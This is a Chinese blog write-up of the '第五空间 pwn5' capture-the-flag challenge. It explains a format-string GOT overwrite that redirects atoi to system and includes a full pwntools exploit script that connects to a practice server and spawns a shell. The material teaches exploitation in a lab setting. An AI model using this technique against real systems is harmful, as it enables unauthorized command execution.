第五空间pwn5

本文详细介绍了如何通过格式化字符串漏洞修改atoi函数的 GOT 表,使其在调用时跳转到system函数,从而执行/bin/sh。使用了pwn库中的fmtstr_payload函数来构造payload,实现了远程服务器上的命令执行。
摘要由CSDN通过智能技术生成


一、题目特征

在这里插入图片描述

在这里插入图片描述

二、分析

方法1

格式化字符串漏洞,那直接改那个函数的值
直接修改atoi函数的.got.plt表地址
这样在调用atoi函数的时候,可以直接在公共plt表跳转到system函数
确定偏移为10
在这里插入图片描述

from pwn import*

p = remote('node4.buuoj.cn','27870')
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将atio的GOT数据改为system的plt函数地址,就写{atoi_got:system_plt}
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

三.参考文章

深入了解GOT,PLT和动态链接
格式化字符串利器fmtstr_payload | 攻防世界 pwn进阶区 实时数据监测

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值